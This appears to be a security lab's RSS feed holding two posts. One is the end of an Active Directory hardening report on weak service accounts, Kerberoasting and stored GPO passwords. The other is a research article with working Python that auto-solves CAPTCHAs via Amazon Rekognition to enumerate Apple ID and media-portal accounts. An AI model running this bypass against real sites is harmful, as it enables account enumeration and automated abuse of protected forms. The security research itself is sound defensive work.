&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;24/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;1.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://posts.specterops.io/certified-pre-owned-d95910965cd2&lt;/li&gt;
&lt;li&gt;https://riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/&lt;/li&gt;
&lt;li&gt;https://m365internals.com/2022/11/07/investigating-certificate-template-enrollment-attacks-adcs/&lt;/li&gt;
&lt;li&gt;https://blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/&lt;/li&gt;
&lt;li&gt;https://services.google.com/fh/files/misc/active-directory-certificate-services-hardening-wp-en.pdf&lt;/li&gt;
&lt;li&gt;https://github.com/jakehildreth/Locksmith&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;2. Service Accounts&lt;/h1&gt;
&lt;h2&gt;2.1 - Introduction&lt;/h2&gt;
&lt;p&gt;We frequently discover service accounts configured with excessive privileges during our Active Directory assessments and incident response engagements. In many instances, these accounts are assigned elevated permissions, such as membership in the Domain Administrators group—far exceeding what is necessary for their intended purpose. This overprovisioning represents a significant security risk.&lt;/p&gt;
&lt;p&gt;The problem is compounded when these service accounts are protected with weak or easily guessable passwords. Given their elevated privileges, these accounts become prime targets for attackers. If compromised, they can grant unauthorized access to critical systems, facilitate lateral movement within the network, and potentially lead to a complete domain compromise.&lt;/p&gt;
&lt;p&gt;Additionally, service accounts often fall outside the scope of regular monitoring and password management policies applied to user accounts. Many have non-expiring passwords, leaving them increasingly vulnerable over time. Attackers can exploit these gaps to establish persistent access, evade detection, and circumvent response efforts, further magnifying the security threat.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./DA_services.png&quot; alt=&quot;Service account which is part of the Domain Admin group&quot; title=&quot;Service account which is part of the Domain Admin group&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 5: Service account, which is part of the Domain Admin group&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h2&gt;2.2 - Findings&lt;/h2&gt;
&lt;h3&gt;2.2.1 - No password policy for service accounts found&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to give information regarding a best practice for the Service Account password policy. Indeed, having a 20+ characters password for this account greatly helps reducing the risk of Kerberoasting attacks (offline cracking of the TGS tickets)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;240/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.2.2 - Check if Service Accounts (aka accounts with never expiring password) are domain administrators&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to check for accounts with non-expiring passwords in the &quot;Domain Administrator&quot; group PingCastle is checking accounts with never expiring password, that are mostly used as service accounts. &quot;Service Accounts&quot; can imply a high security risk as their password are stored in clear text in the LSA database, which can then be easily exploited using Mimikatz or Cain&amp;amp;Abel for instance. In addition, their passwords don&apos;t change and can be used in Kerberoast attacks.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;158/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.2.2 - Admin Accounts are Kerberoastable&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to ensure that the password of admin accounts cannot be retrieved using the Kerberoast attack. To access a service using Kerberos, a user requests a ticket (named TGS) to the DC specific to the service. This ticket is encrypted using a derivative of the service password, but can be brute-forced to retrieve the original password. Any account having the attribute SPN populated is considered as a service account. Given that any user can request a ticket for a service account, these accounts can have their password retrieved. In addition, services are known to have their password not changed at a regular basis and to use well-known words.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;95/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;2.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391&lt;/li&gt;
&lt;li&gt;https://www.synacktiv.com/publications/a-dive-into-microsoft-defender-for-identity.html&lt;/li&gt;
&lt;li&gt;https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-managed-service-accounts/group-managed-service-accounts/group-managed-service-accounts-overview&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;3. Passwords&lt;/h1&gt;
&lt;h2&gt;3.1 - Introduction&lt;/h2&gt;
&lt;p&gt;In our incident response cases, we frequently encounter local administrator accounts or accounts within the local administrator group that are secured with weak passwords—making them prime targets for lateral movement.&lt;/p&gt;
&lt;p&gt;Also, regularly review the properties of Active Directory objects, paying particular attention to the description field, as it may inadvertently contain sensitive information such as passwords.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./properties.png&quot; alt=&quot;Querying the user propertie&quot; title=&quot;Querying the user propertie&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 6: Querying the user properties&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;LAPS is the Microsoft solution to automatically manage the password for the built-in Administrator account on Windows devices. When machines are built or imaged, they often have the same password for the built-in Administrator account. If this is never changed, a single password can give local administrative rights to all machines and may provide opportunities for lateral movement. LAPS solves this problem by ensuring each device has a unique local administrator password and rotates it regularly.&lt;/em&gt; - &lt;a href=&quot;https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391&quot;&gt;Total Identity Compromise: Microsoft Incident Response lessons on securing Active Directory&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;3.2 - Findings&lt;/h2&gt;
&lt;h3&gt;3.2.1 - Obfuscated Passwords&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;PingCastle attempts to identify passwords stored in GPOs. If PingCastle was able to retrieve a password, attackers can also obtain it and so the account should be considered compromised. Note that Microsoft published the AES key used to encrypt passwords in GPOs, which is why even an encrypted password is insecure.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./obfuscated.jpeg&quot; alt=&quot;Obfuscated passwords&quot; title=&quot;Obfuscated passwords&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 7: Obfuscated passwords&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;As seen in the wild: &lt;em&gt;One notable TTP observed by APT29 was the hunting for passwords stored in SYSVOL. This technique relies on passwords that are stored as part of Group Policy Preferences.&lt;/em&gt; - &lt;a href=&quot;https://cloud.google.com/blog/topics/threat-intelligence/tracking-apt29-phishing-campaigns/?hl=en&quot;&gt;
Trello From the Other Side: Tracking APT29 Phishing Campaigns&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;47/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.2.2 - Presence of accounts with non-expiring passwords in the domain admin group&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Some accounts have passwords which never expire. Should an attacker compromise one of these accounts, he would be able to maintain long-term access to the Active Directory domain.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;245/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.2.3 - Number of admin with a password older than 3 years&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to ensure that all admins are changing their passwords at least every 3 years&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;198/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.2.4 - Number of accounts that can have an empty password&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;An account can be set without a password if it has the flag &quot;PASSWD_NOTREQD&quot; set as &quot;True&quot; in the &quot;useraccountcontrol&quot; attribute. This represents a high security risk as the account is not protected at all without a password&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;110/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;4. PowerShell Script Block Logging&lt;/h1&gt;
&lt;h2&gt;4.1 - Introduction&lt;/h2&gt;
&lt;p&gt;Strictly speaking not part of a guide about hardening Active Directory, but I must stress once again the importance of logging executed PowerShell code on clients and servers. In the year&apos;s &quot;Year in Review&quot; (2022) of
TalosSecurity, PowerShell&apos;s &lt;code&gt;Invoke-Expression&lt;/code&gt; is listed as number 1 of the most alerted Behavioral Protection signatures (see references below).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./behavioral_protections.jpeg&quot; alt=&quot;PowerShell Invoke-Expression&quot; title=&quot;PowerShell Invoke-Expression&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 8: PowerShell Invoke-Expression&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h2&gt;4.2 - Findings&lt;/h2&gt;
&lt;h3&gt;4.2.1 - The PowerShell audit configuration is not fully enabled&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;PowerShell is a powerful language, also used by hackers because of this quality. Hackers are able to run programs such as mimikatz in memory using obfuscated commands such as Invoke–Mimikatz. Because there is no artefact on the disk, the incident response task is difficult for the forensic analysts. For this reason, we recommend to enable PowerShell logging via a group policy, despite the fact that these security settings may be part of the workstation or server images.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;231/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;4.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://x.com/malmoeb/status/1627214815012716546&lt;/li&gt;
&lt;li&gt;https://www.calcomsoftware.com/ensure-turn-on-powershell-script-block-logging-is-set-to-disabled/&lt;/li&gt;
&lt;li&gt;https://blog.talosintelligence.com/talos-year-in-review-2022/&lt;/li&gt;
&lt;li&gt;https://www.splunk.com/en_us/blog/security/hunting-for-malicious-powershell-using-script-block-logging.html&lt;/li&gt;
&lt;li&gt;https://github.com/search?q=repo%3Aelastic%2Fdetection-rules+powershell.file.script_block_text+language%3ATOML&amp;amp;type=code&amp;amp;l=TOML&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;5. Add Computers to the Domain&lt;/h1&gt;
&lt;h2&gt;5.1 - Introduction&lt;/h2&gt;
&lt;p&gt;A customer called us because he discovered two new computers within his computer objects that did not match his naming scheme.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./samtheadmin.png&quot; alt=&quot;foo&quot; title=&quot;foo&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 9: SAMTHEADMIN computer object&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;During the detailed investigation of the incident, it turned out that these &lt;code&gt;SAMTHEADMIN&lt;/code&gt; objects were part of an exploit code that (if successful) would give administrative rights to a standard domain user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./github_sam.png&quot; alt=&quot;foo&quot; title=&quot;foo&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 10: sam-the-admin exploit&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;In addition to the exploit presented above, various other attack techniques rely on the fact that an unprivileged user can create new computer objects within the domain. The best way to prevent such attacks is to remove this privilege from all users on the network and only explicitly assign it to a particular group (supporters, IT administrators, etc.).&lt;/p&gt;
&lt;p&gt;Ping Castle also checks the value of &lt;code&gt;MachineAccountQuota&lt;/code&gt; and outputs a corresponding finding if the value is &amp;lt; 0.
&lt;em&gt;This default configuration represents a security issue as regular users shouldn&apos;t be able to create such accounts, and administrators should handle this task.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;5.2 - Findings&lt;/h2&gt;
&lt;h3&gt;5.2.1 Non-admin users can add up to 10 computers to the domain&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;By default, a basic user can register up to 10 computers within the domain. This default configuration represents a security issue as basic users shouldn&apos;t be able to create such accounts and this task should be handled by administrators.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;171/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;5.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/Ascotbe/Kernelhub/blob/e55eb366bab445539ff16c63d3831ed4af91c92f/Windows/CVE-2021-42287/sam-the-admin/sam_the_admin.py#L4&lt;/li&gt;
&lt;li&gt;https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>Stephan Berger</author></item><item><title>Breaking CAPTCHAs with image recognition</title><link>https://labs.infoguard.ch/posts/breaking-captchas-with-image-recognition/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/breaking-captchas-with-image-recognition/</guid><description>This article explains how image recognition services can be used to bypass (i.e. auto-solve) classical alphanumeric CAPTCHAs.</description><pubDate>Sat, 09 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::important{title=&quot;TL;DR&quot;}
Do you still mark some pentesting-checks as &quot;info&quot; after encountering an alphanumeric CAPTCHA? Have you ever been annoyed you could not automate certain enumeration tasks during a red team engagement because of this PITA thing? This article explains how image recognition services can be used to bypass (i.e. auto-solve) classical alphanumeric CAPTCHAs. On the examples of Apple-ID and Medienportal we explain the details step-by-step and conclude with very simple but working python-code.
:::&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;CAPTCHA or Completely Automated Public Turing test to tell Computers and Humans Apart is a term for techniques to prevent parts of an application
from being automatically (mis-)used by robots. Typically (but not exclusively), registration or login forms are protected by this to prevent the bulk-creation
of fake user accounts or brute forcing of logins. Although the idea of using machine learning for text recognition in CAPTCHAs is nothing new, public AI
as a service (AIaaS) models have gotten ever more powerful and extremely cheap to use (e.g. 0.001$/img). It is even more perplexing that alphanumeric
CAPTCHAs, meaning letters and numbers that need to be optically recognized, are still widely used by a lot of companies, including big tech giants like
Apple.
In the following, we demonstrate how alphanumeric CAPTCHAs can be solved programmatically using image recognition. We explain the approach step-
by-step from identifying the problem to a working bypass. For our code examples we mainly use the &lt;a href=&quot;https://pypi.org/project/requests/?ref=labs.infoguard.ch&quot;&gt;python requests library&lt;/a&gt; and the text detection engine
of &lt;a href=&quot;https://aws.amazon.com/de/rekognition/?ref=labs.infoguard.ch&quot;&gt;Amazon Rekognition&lt;/a&gt;, but any programming language and service may be used.&lt;/p&gt;
&lt;h1&gt;Use cases&lt;/h1&gt;
&lt;h2&gt;Apple-ID&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://iforgot.apple.com/password/verify/appleid&quot;&gt;iforgot.apple.com/password/verify/appleid&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you forget the password of your apple-ID, you can reset it via the website &lt;a href=&quot;https://iforgot.apple.com/password/verify/appleid&quot;&gt;iforgot.apple.com/password/verify/appleid&lt;/a&gt;. However, to prevent this function from being excessively used, Apple does prompt the user to input the characters shown in an adjacent image. Usually, this &quot;text&quot; is intentionally visually altered by overlapping characters or introducing additional noise like lines or patterns to make it harder for AI to recognize its correct meaning. The difficulty to recognize these characters varies greatly from each image to the next and there is usually no limitation on how often a new challenge can be requested, posing ideal conditions for automation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./screenshot1-2.png&quot; alt=&quot;login mask&quot; /&gt;
If the website is investigated more closely we can identify two relevant web-calls: First, a GET when clicking on &quot;Neuer Code&quot;, which retreives a new CAPTCHA image and second, the POST call made when clicking on &quot;Weiter&quot; which submits the form and validates the CAPTCHA input. It is important to note that the mapping of a CAPTCHA instance to the user session is done using the session cookies.
&lt;img src=&quot;./screenshot2-2.png&quot; alt=&quot;problems with login&quot; /&gt;
Our code starts by calling the initial website &lt;a href=&quot;https://iforgot.apple.com/password/verify/appleid&quot;&gt;iforgot.apple.com/password/verify/appleid&lt;/a&gt; containing the form and storing its session cookies which we need later for requesting and validating CAPTCHAs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;headers = {&apos;Content-Type&apos;: &apos;application/json&apos;, &apos;Accept&apos;: &apos;application/json,
text/javascript, */*; q=0.01&apos;,&apos;Accept-Language&apos;:
&apos;de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7&apos;,&quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/500.36 (KHTML, like Gecko) Chrome/99.0.0.74
Safari/537.0&quot;}
response = requests.get(&apos;https://iforgot.apple.com/password/verify/appleid&apos;,
headers=headers)
cookies = response.cookies
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The request of a CAPTCHA image with &lt;a href=&quot;https://iforgot.apple.com/captcha?captchaType=IMAGE&quot;&gt;iforgot.apple.com/captcha?captchaType=IMAGE&lt;/a&gt; returns a Base64 encoded image payload, a token and an id in JSON. We save the image to a file and store the rest in variables. The image is sent to Amazon Rekognition as bytes using &lt;code&gt;detect_text()&lt;/code&gt;, which returns an array of detected texts in response&lt;code&gt;[&apos;TextDetections&apos;]&lt;/code&gt;. Since (hopefully) only one text object was detected, it is sufficient to just access the first element.&lt;/p&gt;
&lt;p&gt;:::note
To use Amazon Rekognition, a valid aws_access_key_id and aws_secret_access_key need to be defined in ~/.aws/credentials. See here for more info.
&lt;code&gt;rek_client = boto3.client(&apos;rekognition&apos;, region_name=&apos;us-west-2&apos;)&lt;/code&gt;
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while True:
    response =
requests.get(&apos;https://iforgot.apple.com/captcha?captchaType=IMAGE&apos;,
headers=headers, cookies=cookies)
    captcha_payload = response.json()[&quot;payload&quot;][&quot;content&quot;]
    captcha_token = response.json()[&quot;token&quot;]
    captcha_id = response.json()[&quot;id&quot;]
    file_name = &apos;data/decoded_image.jpg&apos;
    base64_img_bytes = captcha_payload.encode(&apos;utf-8&apos;)

    with open(&apos;./data/decoded_image.jpg&apos;, &apos;wb&apos;) as file_to_save:
        decoded_image_data = base64.decodebytes(base64_img_bytes)
        file_to_save.write(decoded_image_data)

    with open(file_name, &apos;rb&apos;) as im:
        im_bytes = im.read()
        response = rek_client.detect_text(Image={&apos;Bytes&apos;: im_bytes})
        textDetections = response[&apos;TextDetections&apos;]

        if response[&apos;TextDetections&apos;] is not None:
            captcha_answer = str(textDetections[0][&apos;DetectedText&apos;]).replace(&apos; &apos;,
 &apos;&apos;)
        else:
            captcha_answer = &apos;&apos;
            continue
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using the supposed CAPTCHA answer, the id and the token, we craft the POST request to https://iforgot.apple.com/password/verify/appleid for validation. If the answer was not valid, the response contains &lt;code&gt;captchaAnswer.Invalid&lt;/code&gt;, so the absence of this string means success.&lt;/p&gt;
&lt;p&gt;Since in this scenario the response of a successful form-submission does reveal if a given e-mail address is NOT a valid apple-ID, we can craft a simple user enumeration check by looking for the string &lt;code&gt;appleIdNotSupported&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;json = {&quot;id&quot;: email,&quot;captcha&quot;:{&quot;id&quot;:captcha_id, &quot;answer&quot;:captcha_answer,
&quot;token&quot;:captcha_token}}
response = requests.post(&apos;https://iforgot.apple.com/password/verify/appleid&apos;,
headers=headers, cookies=cookies, json=json)

captcha_failed_string = &apos;captchaAnswer.Invalid&apos;

if not captcha_failed_string in str(response.content):
    if &apos;appleIdNotSupported&apos; in str(response.content):
        print(&apos;e-mail &apos; + email + &apos; not registered&apos;)
    else:
        print(&apos;e-mail &apos; + email + &apos; registered&apos;)
    break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because we can request an arbitrary number of CAPTCHA images, we can just continously repeat this process until a correct guess is made. As shown in the following, Amazon&apos;s model guesses many of the images correctly and not many attempts are needed on average until a valid answer is found:
&lt;img src=&quot;./output-15.gif&quot; alt=&quot;captcha&quot; /&gt;
Label detection of Apple CAPTCHAs&lt;/p&gt;
&lt;p&gt;We can now use our CAPTCHA bypass to run an automated user enumeration check on Apple-IDs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./d_l-3.gif&quot; alt=&quot;Bypassing Apple CAPTCHA with image recognition&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Medienportal&lt;/h2&gt;
&lt;p&gt;We now investigate a second but similar example. The registration form of the Medienportal also uses an alphanumeric CAPTCHA. This time, a lot of visual strikethrough and magnifier effects are used to complicate text detection.&lt;/p&gt;
&lt;p&gt;We again identify a GET request &lt;a href=&quot;https://medien.***.ch/c/portal/captcha/get_image?portletId=com_liferay_login_web_portlet_LoginPortlet&amp;amp;t=168008376454&quot;&gt;https://medien.***.ch/c/portal/captcha/get_image?portletId=com_liferay_login_web_portlet_LoginPortlet&amp;amp;t=168008376454&lt;/a&gt; which gets/refreshes a CAPTCHA image and a POST request via &quot;Speichern&quot;-Button, which submits the whole form and validates the CAPTCHA text. The mapping of a CAPTCHA instance to the user session is again done via session cookies.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./screenshot3-1.png&quot; alt=&quot;media portal&quot; /&gt;
Although the visual obfuscation strategy in this case is somewhat different to the first example, the model is again very effective in detecting the correct contents:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./output-18.gif&quot; alt=&quot;captcha&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The implementation is almost identical to Apple-ID, with some small differences in the form-submission. We again perform user enumeration as a practical automation example. Since we target the registration form and we do not want to create a new user account for a non-existing e-mail, we intentionally leave away essential information like zipCode, city, street, etc. This way, the registration form will always fail but it still reveals if a given e-mail address is registered.&lt;/p&gt;
&lt;p&gt;:::note
To achieve user enumeration in the case of the registration form, the order of input validation is exploited. If the form would validate each field before confirming the e-mail address&apos; existence, our strategy of blank-submitting fields would not work. However, not giving away ANY information AT ALL would of course be the expected (secure) behavior of a form.
:::
This time, the data is sent as standard POST body instead of JSON. We loop through this process and look for the absence of a captcha_failed_string until we have a correct guess:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;headers = {&apos;Content-Type&apos;: &apos;application/x-www-form-urlencoded&apos;, &apos;Origin&apos;:
&apos;https://medien.***.ch&apos;}
safe_string_email = urllib.parse.quote_plus(email)
safe_string_captcha = urllib.parse.quote_plus(captcha_answer)
data_body =

&quot;\_com_liferay_login_web_portlet_LoginPortlet_formDate=&amp;amp;\_com_liferay_login_web_portlet_LoginPortlet_saveLastPath=false&amp;amp;[...]&amp;amp;\_com_liferay_login_web_portlet_LoginPortlet_street=&amp;amp;\_com_liferay_login_web_portlet_LoginPortlet_phone=&amp;amp;\_com_liferay_login_web_portlet_LoginPortlet_mobile-phone=&amp;amp;\_com_liferay_login_web_portlet_LoginPortlet_emailAddress=&quot;

- safe_string_email +

&quot;&amp;amp;_com_liferay_login_web_portlet_LoginPortlet_password1=Super1234!&amp;amp;_com_liferay_login_web_portlet_LoginPortlet_password2=Super1234!&amp;amp;_com_liferay_login_web_portlet_LoginPortlet_captchaText=&quot;
 + safe_string_captcha +
&quot;&amp;amp;_com_liferay_login_web_portlet_LoginPortlet_checkboxNames=&amp;amp;p_auth=43F3MwwF&quot;
response = session.post(submit_url, headers=headers, cookies=cookies,
data=data_body)

captcha_failed_string = &apos;fung fehlgeschlagen&apos;

if not captcha_failed_string in str(response.content):
    if &apos;Die angegebene E-Mail-Adresse ist schon vergeben.&apos; in
str(response.content):
        print(&apos;e-mail &apos; + email + &apos; registered&apos;)
    else:
        print(&apos;e-mail &apos; + email + &apos; not registered&apos;)
    break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We again use our second CAPTCHA bypass to run an automated user enumeration check on Medienportal accounts:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./mov4a.gif&quot; alt=&quot;Bypassing CAPTCHA with image recognition&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Summary&lt;/h1&gt;
&lt;p&gt;As demonstrated in this article, alphanumeric CAPTCHAs can be easily bypassed using any image recognition provider. There is neither a need for specific tooling nor complex technical know how and a custom bypass can be scripted in just a few lines of code. Bypassing alphanumeric CAPTCHAs is fast, cheap and can be heavily scaled. The still very wide adoption of this technique to prevent bots/automation is therefore quite baffling to see and the staggering progress in artificial intelligence additionally worsens the situation.&lt;/p&gt;
&lt;p&gt;So what should we do with alphanumeric CAPTCHAs? Our conclusion is that they are not realiable and secure at all and should not be used anymore, especially not to protect functionality that might be relevant for the security/privacy of a system. There are more advanced automation prevention solutions such as Googles reCAPTCHA or cloudflare, which are significantly harder to bypass. But even imposing some basic restrictions (and ultimately bans) on the possible number of calls to the challenge image refresh function for more classical CAPTCHAs could yet greatly reduce the possibilities for automation.&lt;/p&gt;
</content:encoded><author>Mario Bischof</author></item></channel></rss>